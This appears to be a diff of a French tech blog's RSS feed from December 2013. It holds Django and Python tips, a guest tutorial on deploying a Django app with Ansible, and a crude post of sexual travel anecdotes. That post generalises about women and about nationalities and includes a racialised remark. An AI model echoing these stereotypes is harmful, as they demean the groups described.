+ <atom:link rel="payment" title="Flattr this!" href="https://flattr.com/submit/auto?user_id=sam_et_max&amp;popout=1&amp;url=http%3A%2F%2Fsametmax.com%2Fquest-de-que-mvc-et-a-quoi-ca-sert%2F&amp;language=en_GB&amp;category=text&amp;title=Qu%26%238217%3Best-de+que+MVC+et+%C3%A0+quoi+%C3%A7a+sert+%3F&amp;description=MVC%2C+pour+%26%238220%3BMod%C3%A8le%2C+Vue%2C+Contr%C3%B4leur%26%238221%3B%2C+est+le+nom+donn%C3%A9+%C3%A0+une+mani%C3%A8re+d%26%238217%3Borganiser+son+code.+C%26%238217%3Best+une+fa%C3%A7on+d%26%238217%3Bappliquer+le+principe+de+s%C3%A9paration+des+responsabilit%C3%A9s%2C+en+l%E2%80%99occurrence+celles+du+traitement...&amp;tags=csv%2Cmvc%2Cphp%2Cpython%2Cblog" type="text/html" />
+<enclosure url="http://sametmax.com/wp-content/uploads/2013/12/65XmWyF.jpg" length="75561" type="image/jpg" /> </item>
+ <item>
+ <title>Ignorer certains caractères spéciaux dans un template django</title>
+ <link>http://sametmax.com/ignorer-certains-caracteres-speciaux-dans-un-template-django/</link>
+ <comments>http://sametmax.com/ignorer-certains-caracteres-speciaux-dans-un-template-django/#comments</comments>
+ <pubDate>Mon, 09 Dec 2013 07:04:51 +0000</pubDate>
+ <dc:creator>Sam</dc:creator>
+ <category><![CDATA[Programmation]]></category>
+ <category><![CDATA[django]]></category>
+ <category><![CDATA[javascript]]></category>
+ <category><![CDATA[python]]></category>
+ <category><![CDATA[tag]]></category>
+ <category><![CDATA[template]]></category>
+ <category><![CDATA[verbatime]]></category>
+
+ <guid isPermaLink="false">http://sametmax.com/?p=8268</guid>
+ <description><![CDATA[Hier Max me demandait comment mettre un template Javascript dans un template Django s'ils utilisent la même syntaxe.]]></description>
+ <content:encoded><![CDATA[<p>Hier Max me demandait comment mettre un template Javascript dans un template Django s&#8217;ils utilisent la même syntaxe.</p>
+<p>La réponse : utiliser le tag &#8220;verbatim&#8221; :</p>
+<pre>{% verbatim %}
+ Mettre ici le code que django doit afficher tel quel, sans interpréter.
+{% endverbatim %}</pre>
+ <p><a href="http://sametmax.com/?flattrss_redirect&amp;id=8268&amp;md5=8befa07ac1d855e17ce1f253e695bef8" title="Flattr" target="_blank"><img src="http://sametmax.com/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!"/></a></p>]]></content:encoded>
+ <wfw:commentRss>http://sametmax.com/ignorer-certains-caracteres-speciaux-dans-un-template-django/feed/</wfw:commentRss>
+ <slash:comments>6</slash:comments>
+ <atom:link rel="payment" title="Flattr this!" href="https://flattr.com/submit/auto?user_id=sam_et_max&amp;popout=1&amp;url=http%3A%2F%2Fsametmax.com%2Fignorer-certains-caracteres-speciaux-dans-un-template-django%2F&amp;language=en_GB&amp;category=text&amp;title=Ignorer+certains+caract%C3%A8res+sp%C3%A9ciaux+dans+un+template+django&amp;description=Hier+Max+me+demandait+comment+mettre+un+template+Javascript+dans+un+template+Django+s%26%238217%3Bils+utilisent+la+m%C3%AAme+syntaxe.+La+r%C3%A9ponse+%3A+utiliser+le+tag+%26%238220%3Bverbatim%26%238221%3B+%3A+%7B%25+verbatim+%25%7D+Mettre...&amp;tags=django%2Cjavascript%2Cpython%2Ctag%2Ctemplate%2Cverbatime%2Cblog" type="text/html" />
+<enclosure url="http://sametmax.com/wp-content/uploads/2013/12/rkMxVfI.jpg" length="43698" type="image/jpg" /> </item>
+ <item>
+ <title>Anecdotes sexuelles à travers le monde</title>
+ <link>http://sametmax.com/anecdotes-sexuelles-a-travers-le-monde/</link>
+ <comments>http://sametmax.com/anecdotes-sexuelles-a-travers-le-monde/#comments</comments>
+ <pubDate>Sun, 08 Dec 2013 11:26:17 +0000</pubDate>
+ <dc:creator>Sam</dc:creator>
+ <category><![CDATA[Cul]]></category>
+ <category><![CDATA[aucune]]></category>
+ <category><![CDATA[cul]]></category>
+ <category><![CDATA[idee]]></category>
+ <category><![CDATA[poil ?]]></category>
+
+ <guid isPermaLink="false">http://sametmax.com/?p=8269</guid>
+ <description><![CDATA[Je péroquette, mais Max et moi on a pas mal voyagé. Et j'ai pu voir pas mal de manières différentes d'aborder la sexualité.]]></description>
+ <content:encoded><![CDATA[<p>Franchement c&#8217;était mal parti. Je voulais écrire un article de cul ce matin, mais malgré un dépassement de nos <a href="http://sametmax.com/129-drafts/">129 drafts</a> (oui, ça continue à augmenter&#8230;), j&#8217;avais envie de rien.</p>
+<p>J&#8217;ai demandé à Max si il avait fini son retour d&#8217;expérience sur l&#8217;épilation permanente des poils des couilles, mais il a laissé la machine en France sans avoir pu terminer ses séances. Du coup, c&#8217;est pas concluant. Un indice toute de même : ça fait mal.</p>
+<p>Et puis je suis tombé sur ça :</p>
+<div id="attachment_8270" class="wp-caption aligncenter" style="width: 523px"><a href="http://sametmax.com/wp-content/uploads/2013/12/1t4lgDS.jpg"><img src="http://sametmax.com/wp-content/uploads/2013/12/1t4lgDS.jpg" alt="Photo d&#039;une manif &quot;we want porn in iraq&quot;" title="La cruauté de l&#039;homme n&#039;a-t-elle donc pas de limite ?" width="513" height="627" class="size-full wp-image-8270" /></a><p class="wp-caption-text">La cruauté de l&#039;homme n&#039;a-t-elle donc pas de limite ?</p></div>
+<h2>Et ça a fait tilt</h2>
+<p>Je péroquette, mais Max et moi on a pas mal voyagé. Et j&#8217;ai pu voir pas mal de manières différentes d&#8217;aborder la sexualité. Par exemple il est très difficile de baiser dans certains pays. </p>
+<p>Que quelqu&#8217;un m&#8217;éclaire, impossible de coucher avec une indienne (je ne parle pas de prostitution, bien entendu). Je suis arrivé jusqu&#8217;à boire un verre. J&#8217;ai eu tous les signes d’intérêts possibles, mais impossible d&#8217;aller plus loin. Je dois être complètement à côté de la plaque sur le marché indien.</p>
+<p>Il y a aussi bien évidement, le Japon. On vous avait déjà parlé de l&#8217;espèce de dichotomie qu&#8217;il y a entre une part de la population japonaise super inhibée (mon frère en revient, et j&#8217;ai des amis qui y ont vécu qui en témoignent) et la <a href="http://sametmax.com/les-japonais-et-le-sexe-des-gros-malades-ou-pas/">représentation pornographique qui peut en être faite</a>. </p>
+<p>Apparemment, il y a un pan de la population, appelé &#8220;herbivore&#8221;, qui est <a href="http://fortune.fdesouche.com/327861-japon-une-generation-dherbivores-asexues">complètement asexuée</a>. Pourtant les témoignages que j&#8217;en ai, c&#8217;est qu&#8217;il y aussi un monde de la nuit particulièrement décontracté sur le sujet.</p>
+<p>Mais je ne parle pas ici d&#8217;expérience, puisque je n&#8217;y suis pas encore allé en personne.</p>
+<h2>Par contre, ce qui m&#8217;a bluffé, c&#8217;est l&#8217;Afrique</h2>
+<p>Par exemple, en Algérie, le sexe est super taboo. Du coup, quand j&#8217;entrais dans les cyber café, je voyais que des mecs sur des sites pornos.</p>
+<p>Et uniquement sur ça :</p>
+<div id="attachment_8271" class="wp-caption aligncenter" style="width: 460px"><a href="http://sametmax.com/wp-content/uploads/2013/12/4.jpg"><img src="http://sametmax.com/wp-content/uploads/2013/12/4.jpg" alt="Photo d&#039;une jeune femme blonde utilisant une godmichet" title="Avec le voile, ça rend moins bien il faut avouer" width="450" height="300" class="size-full wp-image-8271" /></a><p class="wp-caption-text">Avec le voile, ça rend moins bien il faut avouer</p></div>
+<p>Des blanches, blondes.</p>
+<p>Rien d&#8217;autre. Pas l&#8217;actu. Pas de jeux flash. Même pas facebook.</p>
+<p>Du cul, partout, sur tous les postes.</p>
+<p>Au mali, j&#8217;ai donné un cours de Python avec un de mes exercices habituels : un téléchargeur d&#8217;image pornos. Je sais, je suis un super prof.</p>
+<p>Cet exercice passe super bien en Europe, mais là, choc culturel, les mecs ont rougi. Si si, rougi. Un noir qui rougi, c&#8217;est trop choupinet.</p>
+<p>On parle du même pays qui a pour coutume d&#8217;enfermer les jeunes mariés pendant une semaine dans leur chambre. Enfermer. Je le promet. Ils sont nourris par un membre de la famille, et ne sortent pas avant la fin de la lune de miel.</p>
+<p>Mon collègue marié sur place m&#8217;a confié qu&#8217;il avait pris ses précautions avec wifi + DVD&#8230;</p>
+<p>En Uganda, un soir à mon hôtel, je commande, tard, un coca. Apparemment, ça doit être un mot de passe pour &#8220;envoyez moi une pute svp&#8221;, parce que ma serveuse d&#8217;étage était habillée sexy, bien maquillée, et après avoir servi mon soda a attendu là, sans rien dire, en me regardant. Généralement le service de chambre fait mine de demander un pourboire et se casse le plus vite possible.</p>
+<p> Devant mon air intrigué, elle me demande si je n&#8217;ai VRAIMENT pas besoin d&#8217;autre chose&#8230; En sortant de ma chambre, je croise un vieux accompagné de deux paires de jambes de 3 mètres 12, et je comprends le principe.</p>
+<h2> Chez nous, c&#8217;est pas mal aussi</h2>
+<p>Bon, l&#8217;Europe de l&#8217;Est, c&#8217;est hyper sexualisé dans les grandes villes, mais ça toute personne qui y va s&#8217;en rend compte. On vous a déjà aussi parlé <a href="http://sametmax.com/une-journee-dans-un-fkk-maison-close-allemande/">des FKK en Allemagne</a>.</p>
+<p>Non, ce qui est étonnant, c&#8217;est de voir de ses propres yeux le bordel de la sexualité aux USA. Vous avez d&#8217;un côté le monde de la pub qui montre des éphèbes, et de l&#8217;autre la population réelle qui est remplie de gens en mauvaise santé, souvent gros, rarement beaux, et mal dans leur peau. </p>
+<p>Vous avez des bars où les nanas se bourrent la gueule, et on peut venir les ramasser limite sans rien dire, comme en Angleterre après 23h. Et vous avez les meufs hyper prudes qui ne couchent pas avant le mariage. C&#8217;est vrai, ce n&#8217;est pas un sitecom, c&#8217;est la réalité de tous les jours.</p>
+<p>Max a tendance à me dire que la France est un pays de frustrés sexuels, avec des meufs hyper-éxigentes par rapport à ce qu&#8217;elle ont à offrir et qui ont peur de tout, et des gars sans couilles qui ne respectent pas leurs envies et en deviennent des boulets avec une vie de merde.</p>
+<p>Analyse agressive, mais j&#8217;ai du mal à le contredire certains jours. Et je pense que c&#8217;est une caricature qui peut s&#8217;appliquer à la plupart des pays occidentaux industrialisés. C&#8217;est triste.</p>
+<p>Dans le domaine du cul, je n&#8217;ai pas encore croisé un pays où la société ait une approche globalement saine. C&#8217;est à dire des gens qui ne tombent pas systématiquement dans un excès. Après tout, attendre le mariage, pourquoi pas. Mettre une meuf à poil pour vendre une voiture, pourquoi pas. Regarder du porno hardcore dans un cyber, pourquoi pas. Mais quand on est dans une systématisation d&#8217;un comportement qui est en plus éloigné de la réalité, ça craint. <strong>Qu&#8217;on ne viennent pas me dire que ce sont des causes, ce sont des symptômes.</strong> </p>
+ <p><a href="http://sametmax.com/?flattrss_redirect&amp;id=8269&amp;md5=1e0ce6be9eb9eabd86eaa7fb8356fb4b" title="Flattr" target="_blank"><img src="http://sametmax.com/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!"/></a></p>]]></content:encoded>
+ <wfw:commentRss>http://sametmax.com/anecdotes-sexuelles-a-travers-le-monde/feed/</wfw:commentRss>
+ <slash:comments>21</slash:comments>
+ <atom:link rel="payment" title="Flattr this!" href="https://flattr.com/submit/auto?user_id=sam_et_max&amp;popout=1&amp;url=http%3A%2F%2Fsametmax.com%2Fanecdotes-sexuelles-a-travers-le-monde%2F&amp;language=en_GB&amp;category=text&amp;title=Anecdotes+sexuelles+%C3%A0+travers+le+monde&amp;description=Franchement+c%26%238217%3B%C3%A9tait+mal+parti.+Je+voulais+%C3%A9crire+un+article+de+cul+ce+matin%2C+mais+malgr%C3%A9+un+d%C3%A9passement+de+nos+129+drafts+%28oui%2C+%C3%A7a+continue+%C3%A0+augmenter%26%238230%3B%29%2C+j%26%238217%3Bavais+envie+de+rien....&amp;tags=aucune%2Ccul%2Cidee%2Cpoil+%3F%2Cblog" type="text/html" />
+<enclosure url="http://sametmax.com/wp-content/uploads/2013/12/J6132kZ.jpg" length="66118" type="image/jpg" /> </item>
+ <item>
+ <title>Petite astuce d&#8217;unpacking en Python</title>
+ <link>http://sametmax.com/petite-astuce-dunpacking-en-python/</link>
+ <comments>http://sametmax.com/petite-astuce-dunpacking-en-python/#comments</comments>
+ <pubDate>Sat, 07 Dec 2013 08:46:44 +0000</pubDate>
+ <dc:creator>Sam</dc:creator>
+ <category><![CDATA[Programmation]]></category>
+ <category><![CDATA[python]]></category>
+ <category><![CDATA[unpacking]]></category>
+
+ <guid isPermaLink="false">http://sametmax.com/?p=8245</guid>
+ <description><![CDATA[L'unpacking, fonction géniale de Python s'il en est, peut se faire sur un seul element]]></description>
+ <content:encoded><![CDATA[<p>L&#8217;<a href="http://sametmax.com/operateur-splat-ou-etoile-en-python/">unpacking</a>, fonction géniale de Python s&#8217;il en est, peut se faire sur un seul element :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;&gt;&gt;</span> a = <span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span>
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> b, = a
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> b
+<span style="color: #ff4500;">1</span></pre></div></div>
+
+<p>Pour cet exemple, pas super utile. Par contre dans une boucle :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;&gt;&gt;</span> l = <span style="color: black;">&#40;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span>, <span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span>, <span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> <span style="color: #ff7700;font-weight:bold;">for</span> i, <span style="color: #ff7700;font-weight:bold;">in</span> l:
+... <span style="color: #ff7700;font-weight:bold;">print</span><span style="color: black;">&#40;</span>i<span style="color: black;">&#41;</span>
+...
+<span style="color: #ff4500;">1</span>
+<span style="color: #ff4500;">1</span>
+<span style="color: #ff4500;">1</span></pre></div></div>
+
+ <p><a href="http://sametmax.com/?flattrss_redirect&amp;id=8245&amp;md5=b6c322772bea30ecaf2728f2b4e40409" title="Flattr" target="_blank"><img src="http://sametmax.com/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!"/></a></p>]]></content:encoded>
+ <wfw:commentRss>http://sametmax.com/petite-astuce-dunpacking-en-python/feed/</wfw:commentRss>
+ <slash:comments>1</slash:comments>
+ <atom:link rel="payment" title="Flattr this!" href="https://flattr.com/submit/auto?user_id=sam_et_max&amp;popout=1&amp;url=http%3A%2F%2Fsametmax.com%2Fpetite-astuce-dunpacking-en-python%2F&amp;language=en_GB&amp;category=text&amp;title=Petite+astuce+d%26%238217%3Bunpacking+en+Python&amp;description=L%26%238217%3Bunpacking%2C+fonction+g%C3%A9niale+de+Python+s%26%238217%3Bil+en+est%2C+peut+se+faire+sur+un+seul+element+%3A+%26gt%3B%26gt%3B%26gt%3B+a+%3D+%26%2391%3B1%26%2393%3B+%26gt%3B%26gt%3B%26gt%3B+b%2C+%3D+a+%26gt%3B%26gt%3B%26gt%3B+b+1+Pour+cet+exemple%2C...&amp;tags=python%2Cunpacking%2Cblog" type="text/html" />
+<enclosure url="http://sametmax.com/wp-content/uploads/2013/12/i6lzOd7.jpg" length="67620" type="image/jpg" /> </item>
+ <item>
+ <title>Introduction à Ansible: l’outil du sysadmin paresseux mais pragmatique</title>
+ <link>http://sametmax.com/introduction-a-ansible-loutil-du-sysadmin-paresseux-mais-pragmatique/</link>
+ <comments>http://sametmax.com/introduction-a-ansible-loutil-du-sysadmin-paresseux-mais-pragmatique/#comments</comments>
+ <pubDate>Fri, 06 Dec 2013 10:43:19 +0000</pubDate>
+ <dc:creator>VonTenia</dc:creator>
+ <category><![CDATA[Administration System]]></category>
+
+ <guid isPermaLink="false">http://sametmax.com/?p=8177</guid>
+ <description><![CDATA[Ceci est un post invité de VonTenia posté sous licence creative common 3.0 unported. Je profite du fait que Sam &#038; Max me donnent la parole pour vous parler d’Ansible, un programme très puissant et relativement simple dont je me sers depuis récemment (beaucoup trop tardivement à mon goût), mais qui a radicalement changé ma [...]]]></description>
+ <content:encoded><![CDATA[<p style="text-align: center;"><em><small>Ceci est un post invité de <a href="http://sametmax.com/author/VonTenia/">VonTenia</a> posté sous licence <a href="http://creativecommons.org/licenses/by/3.0/">creative common 3.0 unported</a>.</small></em></p>
+<p>Je profite du fait que Sam &#038; Max me donnent la parole pour vous parler d’Ansible, un programme très puissant et relativement simple dont je me sers depuis récemment (beaucoup trop tardivement à mon goût), mais qui a radicalement changé ma façon de gérer mes déploiements d’appli sur serveur.</p>
+<p><strong>Avant-propos</strong> : Ce guide s’adresse avant tout à ceux et celles ayant le minimum d’aisance avec les systèmes linux. Je pense qu’il est nécessaire de savoir marcher avant d’apprendre à courir, l’automatisation de configuration est une bonne chose (vous allez voir que vous ne pourrez plus vous en passer), mais si vous n’avez aucune idée de comment éditer un fichier de configuration, ou comment redémarrer un service, vous risqueriez bien d&#8217;être pris au dépourvu&#8230; Mieux vaut alors pour vous commencer par apprendre les bases de l’administration système puis revenir une fois à l’aise avec le concept.</p>
+<h3>Pourquoi utiliser un “Configuration Management Toolâ€</h3>
+<p>Vous vous dites : mon boulot c’est de coder, l’administration système c’est sympa 5 minutes mais ça me gonfle… Et pourtant, au final votre application sera accédée via vos serveurs, et selon leur fragilité, la satisfaction de vos clients pourrait en pâtir (ce malgré votre excellent code parfaitement testé).</p>
+<p>En tant que dev, il serait risible pour vous de ne pas versionner votre code ou ne pas le tester. Pourtant c’est ce que vous faites avec vos systèmes en n’utilisant pas de CfM. Et personne n’est à l&#8217;abri des aléas de la vie, par exemple:</p>
+<ul>
+<li>vous êtes hébergé dans le cloud et votre voisin d’hyperviseur s&#8217;avère maintenir un site Tor de trafic d’organes et de prostitution animalière (tout ça pour blanchir des bitcoins)… Vous apprécierez moyennement le downtime lorsque le FBI saisira le serveur que vous partagiez avec cet indélicat voisin.</li>
+<li>Votre sysadmin ultra compètent pourrait se trouver dans l&#8217;incapacité d’exercer à la suite d’une banale auto-asphyxie érotique qui aurait mal tournée. Et bien évidemment il n’a rien documenté avant, le saligaud…</li>
+</ul>
+<p>Bref, le genre de risque qu&#8217;on apprend à identifier quand on passe sa certif ITIL&#8230;</p>
+<h3>Les alternatives aux CfM</h3>
+<p>Je vous vois venir, me disant que vous ne m’avez pas attendu pour envisager les situations précédentes. Vous avez déjà un plan de secours, à savoir :</p>
+<ul>
+<li>
+<p><strong>Des scripts :</strong> Si vous êtes déjà un peu plus malin que la moyenne, vous vous êtes aperçu que pour déployer une nouvelle machine, vous tapez toujours les mêmes commandes : installer vos packages, les configurer, démarrer les services. Vous aurez donc votre collection de scripts shell ou fabric pour vous aider à la tâche.</p>
+<p>Inconvénient : il faut être très organisé, gérer les différents fichiers de config peut prendre du temps lorsqu’il faut les modifier pour chaque serveur. Il est aussi parfois dangereux de relancer le script plusieurs fois sur la même machine, cela peut avoir des conséquences pour le moins hasardeuses.</p>
+</li>
+<li>
+<p><strong>Une image disque :</strong> Une fois votre serveur configuré et parfaitement fonctionnel, vous avez pris soin d’en prendre une image disque. Le saint Graal de la prod, contenant la vérité absolue. En cas de crash vous serez opérationnel en un rien de temps.</p>
+<p>Inconvénient : Les besoins de votre application vont évoluer avec le temps, les fichiers de configuration auront probablement changé aussi. A chaque changement vous devez refaire votre image… Ça devient assez lourd à la longue, et c’est facile d’oublier de le faire jusqu’au jour où “the shit hit the fanâ€.</p>
+</li>
+<li>
+<p><strong>Rien (ou presque) :</strong> Si vous êtes comme moi, d’un naturel optimiste, vous n’avez quasiment pas de solution de secours (à part des backups). Le jour ou votre serveur crash, vous essayez de fixer le problème, et au pire vous en re-configurez un nouveau, ce qui vous prends entre 2 heures et 2 jours, en fonction de la dernière fois où vous avez eu à le faire (je n’ai jamais prétendu être un sysadmin très compètent&#8230;). Sans aller jusqu’au crash irrécupérable, le simple fait de vouloir changer d’hébergeur peut vous faire perdre un temps précieux. Vous perdez donc en flexibilité.</p>
+<p>Inutile de vous dire que si vous faites parti de cette catégorie, je vous invite d’autant plus à continuer de lire.</p>
+</li>
+</ul>
+<h3>Ansible à votre secours</h3>
+<p>Ansible est un outil open-source de gestion de configuration écrit en python (aussi dispo en version commerciale avec une interface graphique et un service de déploiement). La configuration se fait via des fichiers appelés “Playbooksâ€. Citons parmi les avantages :</p>
+<ul>
+<li>Un système déclaratif : syntaxe YAML facilement lisible, ce qui rend l’apprentissage très rapide (plus qu’avec Chef à mon goût, où l’on s&#8217;empêtre très vite dans des problèmes de dépendance, et en plus je ne suis pas très fluent en ruby).</li>
+<li>Templating des fichiers de configuration : qui permet d’avoir des fichiers dynamiquement générés en fonction de ce que vous voulez, tel que le rôle du serveur, ou bien dépendant d’un autre serveur. En plus le langage de template par défaut est Jinja2, ça plaira aux amateurs de Django.</li>
+<li>Quasiment rien à installer. A part Ansible sur votre machine hôte, tout ce dont vous avez besoin c’est d’un accès root via SSH sur vos serveurs cibles.</li>
+</ul>
+<p>Ansible ne sert pas qu’à déployer votre infrastructure, il peut aussi servir à tester et s’assurer que tous les services qui sont censés fonctionner soient bien tous actifs, et que tous les fichiers de configurations sont bien à jour. Autant vous dire que plus vous avez de machines, plus ça devient intéressant.</p>
+<p>Je sens que j&#8217;écris beaucoup et que j’ai déjà perdu la moitié des lecteurs. Aussi je vous invite à suivre ce petit tutoriel que j’ai préparé rien que pour vous parce que vous êtes quand même sympa.</p>
+<h3>Tutoriel : Déployer une app django</h3>
+<p>Nous allons essayer de déployer l’application <a href="https://github.com/sametmax/Django--an-app-at-a-time">Django&#8211;an-app-at-a-time</a> sur un système Debian wheezy en utilisant Ansible.</p>
+<h4>1. Préparer la machine cible</h4>
+<p>Pour les besoins du test, créer un serveur tout neuf sous Debian Wheezy :</p>
+<ul>
+<li>Soit en utilisant Virtualbox (dans ce cas utilisez <a href="http://www.debian.org/CD/netinst/">Debian netinstall</a>). N&#8217;installez que le système de base et le serveur SSH. Seul impératif: un accès ssh via root sur la machine.</li>
+<li>Si vous avez les moyens, vous pouvez aussi vous créer temporairement une machine cloud sur OVH ou digital ocean, ça pourrait être plus rapide.</li>
+</ul>
+<h4>2. Installer Ansible</h4>
+<p>Sur votre machine hôte (que j’assume être sous Ubuntu pour simplifier):</p>
+<p>
+Installez Ansible, via pip (de façon globale sans passer par virtualenv) :<br />
+<code>$ sudo pip install ansible</code></p>
+<p>Générez clefs privée/publique si vous n’en avez pas déjà :<br />
+<code>$ ssh-keygen</code></p>
+<p>Copiez la clef publique sur le serveur cible (qui sera désigné par 192.168.1.1 dans ce tutoriel, mais bien entendu remplacez par l’adresse de votre serveur cible).<br />
+<code>$ ssh-copy-id -i ~/.ssh/id_rsa.pub root@192.168.1.1</code></p>
+<p>Créez le fichier <strong>/etc/ansible/hosts</strong> qui contiendra la liste des serveurs à gérer, et placez-y l&#8217;adresse de votre serveur:<br />
+<code>$ sudo vim /etc/ansible/hosts</code><br />
+<code>192.168.1.1</code></p>
+<p>Testez que le serveur soit bien accessible:<br />
+<code>$ ansible all -m ping -u root </code><br />
+devrait retourner:<br />
+<code>192.168.1.1 | success >> {<br />
+ "changed": false,<br />
+ "ping": "pong"<br />
+}</code></p>
+<p>Bravo, Ansible est installé et peut communiquer avec votre serveur cible. En avant pour la magie !</p>
+<p><img src="http://sametmax.com/wp-content/uploads/2013/12/its-Magic.gif" alt="" title="its-Magic" width="350" height="196" class="alignnone size-full wp-image-8192" /><br />
+
+</p>
+<h4>3. Récupérer le Playbook de démo et l&#8217;exécuter</h4>
+<p>Clonez mon repo github concocté avec amour et exécutez le playbook:</p>
+<p><code>$ git clone https://github.com/Remiz/playbook-demo.git<br />
+$ cd playbook-demo/<br />
+$ ansible-playbook site.yml</code></p>
+<p>Maintenant, plus qu&#8217;à attendre&#8230;</p>
+<p><img src="http://sametmax.com/wp-content/uploads/2013/12/cookie-monster.gif" alt="" title="cookie monster is waiting..." width="250" height="143" class="alignnone size-full wp-image-8203" /></p>
+<h4>3. Admirer le résultat</h4>
+<p>Visitez le site hébergé à l’adresse de votre serveur (dans mon exemple <a href="http://192.168.1.1">http://192.168.1.1</a>)</p>
+<p>Votre réaction la plus normale devrait être la suivante :</p>
+<p><img src="http://sametmax.com/wp-content/uploads/2013/12/areyouawizard.png" alt="" title="areyouawizard" width="200" height="259" class="alignnone size-full wp-image-8209" /></p>
+<p>Je vous invite maintenant à ouvrir le playbook <a href="https://github.com/Remiz/playbook-demo/blob/master/site.yml">site.yml</a> et essayer de comprendre. Durant ce court laps de temps, nous avons:</p>
+<ul>
+<li>Créé un utilisateur “myprojectâ€</li>
+<li>Ajouté cet utilisateur aux sudoers</li>
+<li>Ajouté votre clef privée locale</li>
+<li>Mis a jour la date du serveur</li>
+<li>Installé/activé le serveur NTP</li>
+<li>Sécurisé le serveur en installant fail2ban et en configurant le firewall iptables (laissant ouvert les ports 22, 80, 443 et 4949 pour le monitoring sous munin)</li>
+<li>Installé quelques outils systèmes bien utiles tel que git ou htop</li>
+<li>Installé/configuré Nginx, Supervisor, Pip, virtualenv</li>
+<li>Cloné le repo Django&#8211;an-app-at-a-time</li>
+<li>Créé un virtualenv avec django/gunicorn</li>
+<li>Configuré gunicorn pour être lancé via supervisor</li>
+<li>et finalement deployé les fichiers statiques&#8230;</li>
+</ul>
+<p>Pas mal en 5 minutes, non ? Maintenant si vous ne me croyez pas, je vous invite à vous connecter sur votre serveur</p>
+<p><code>$ ssh myproject@192.168.1.1</code></p>
+<p>et tester les commandes suivantes :</p>
+<p><code>$ date<br />
+$ sudo iptables -L<br />
+$ ps -ef | grep fail2ban<br />
+$ ps -ef | grep gunicorn</code></p>
+<p>Notez que je n’ai pas utilisé runserver de Django, tout est proprement déployé sur une stack gunicorn/supervisor/virtualenv, bref je me suis pas foutu de votre gueule. Le Playbook est à vous, c’est cadeau. J&#8217;espère qu’il vous servira comme base pour vos futurs déploiements, et si jamais vous vous rendez compte que vous gagnez un temps fou à l&#8217;utiliser, n&#8217;hésitez pas à me payer une pinte si vous êtes de passage au Canada.</p>
+<p>Une autre expérience intéressante consiste à relancer l&#8217;exécution du playbook :</p>
+<p><code>$ ansible-playbook site.yml</code></p>
+<p>Tout devrait aller beaucoup plus vite, et à la place de “changed†après chaque instruction, vous devriez lire “okâ€. Ce qui veut dire qu’un playbook est plus intelligent qu’un bête script, et ne se contente pas d&#8217;exécuter des instructions, Ansible va garantir quel tel service soit bien actif et qu’il utilise bien le dernier fichier de conf. Ce qui en fait l’outil parfait pour tester vos systèmes automatiquement.</p>
+<h3>La syntaxe Playbook</h3>
+<p>Le but de ce tutoriel n’est que de vous présenter Ansible, aussi je ne rentrerai pas trop dans les détails et je vous inviterai à vous rendre sur le site officiel pour une <a href="http://www.ansibleworks.com/docs/">documentation</a> plus complète.</p>
+<p>Un playbook est avant tout composé de tâches :</p>
+<p><code>- name: Texte qui décris votre tâche<br />
+ module: option=value</code></p>
+<p>Une tâche va donc appeler un <a href="http://www.ansibleworks.com/docs/modules.html">module</a> Ansible, dont la fonction peut être de copier un fichier, démarrer un service, clôner un repository… Il y en a vraiment beaucoup. Chaque module reçoit des paramètres tels que : un fichier de configuration source (sur votre machine hôte), un path de destination, un package apt à installer… Référez vous à la doc pour savoir quels paramètres sont acceptés.</p>
+<p>Exemples :</p>
+<p><code>- name: Démarrer fail2ban<br />
+ service: name=fail2ban state=started enabled=true</code></p>
+<p>va s’assurer que le service appelé fail2ban soit bien démarré (le démarrer si ce n’est pas le cas), mais aussi s’assurer qu’il soit bien présent au démarrage du système. Quand je vous disait que la syntaxe est très simple (même plus simple qu’avec des scripts shell).</p>
+<p>Autre exemple:</p>
+<p><code>- name: Configurer Nginx<br />
+ template: src=templates/nginx.conf.j2<br />
+ dest=/etc/nginx/sites-enabled/{{ user }}.conf<br />
+notify: restart nginx</code></p>
+<p>se traduit par : récupérer le template de conf dans le répertoire local templates/ (le parser avec les bonnes valeurs), et placer le résultat dans le répertoire de conf de Nginx (en utilisant le nom d’utilisateur comme nom du fichier). Enfin redémarrer nginx via un handler (uniquement si le contenu du fichier de conf a changé).</p>
+<h3>Conclusion (et aller plus loin)</h3>
+<p>Je vous conseille de lire la documentation officielle, elle est plutôt bien faite, dites-vous que je ne connaissais pas du tout cet outil il y a deux semaines et je m’en sert désormais régulièrement (et je suis du genre slow-learner). Renseignez vous particulièrement sur les <a href="http://www.ansibleworks.com/docs/playbooks_roles.html#id5">rôles</a> que vous pouvez donner à vos serveurs, ce qui vous permet de diviser vos playbooks (frontend, cluster DB, worker celery…), et ce qui encourage aussi la réutilisation (par exemple j’ai toujours un rôle “common†qui inclus tout ce qui est nécessaire à l&#8217;ensemble de mes serveurs : utilisateur admin, sécurité, timezone…). Comme on n’apprend jamais aussi bien que par l’exemple, n&#8217;hésitez pas à vous inspirer des <a href="https://github.com/ansible/ansible-examples">exemples</a> issus de la doc (l’outil évolue vite et certains ne sont plus entièrement valides, mais c’est toujours bon à prendre).</p>
+<p>Si vous voulez pousser l’automatisation jusqu&#8217;à l&#8217;extrême, il est aussi possible de configurer Ansible sur vos serveurs pour se connecter à un repo git, récupérer les playbooks et fichiers de conf appropriés et s’auto-configurer&#8230;</p>
+<p>Voila, mon rôle s&#8217;arrête ici et libre à vous d’en apprendre plus. Au final j&#8217;espère avoir tenu ma promesse d&#8217;éclairer vos esprit sur les miracles de l’automatisation.</p>
+<p><img src="http://sametmax.com/wp-content/uploads/2013/12/mind-blown1.gif" alt="" title="mind-blown" width="200" height="200" class="alignnone size-full wp-image-8212" /></p>
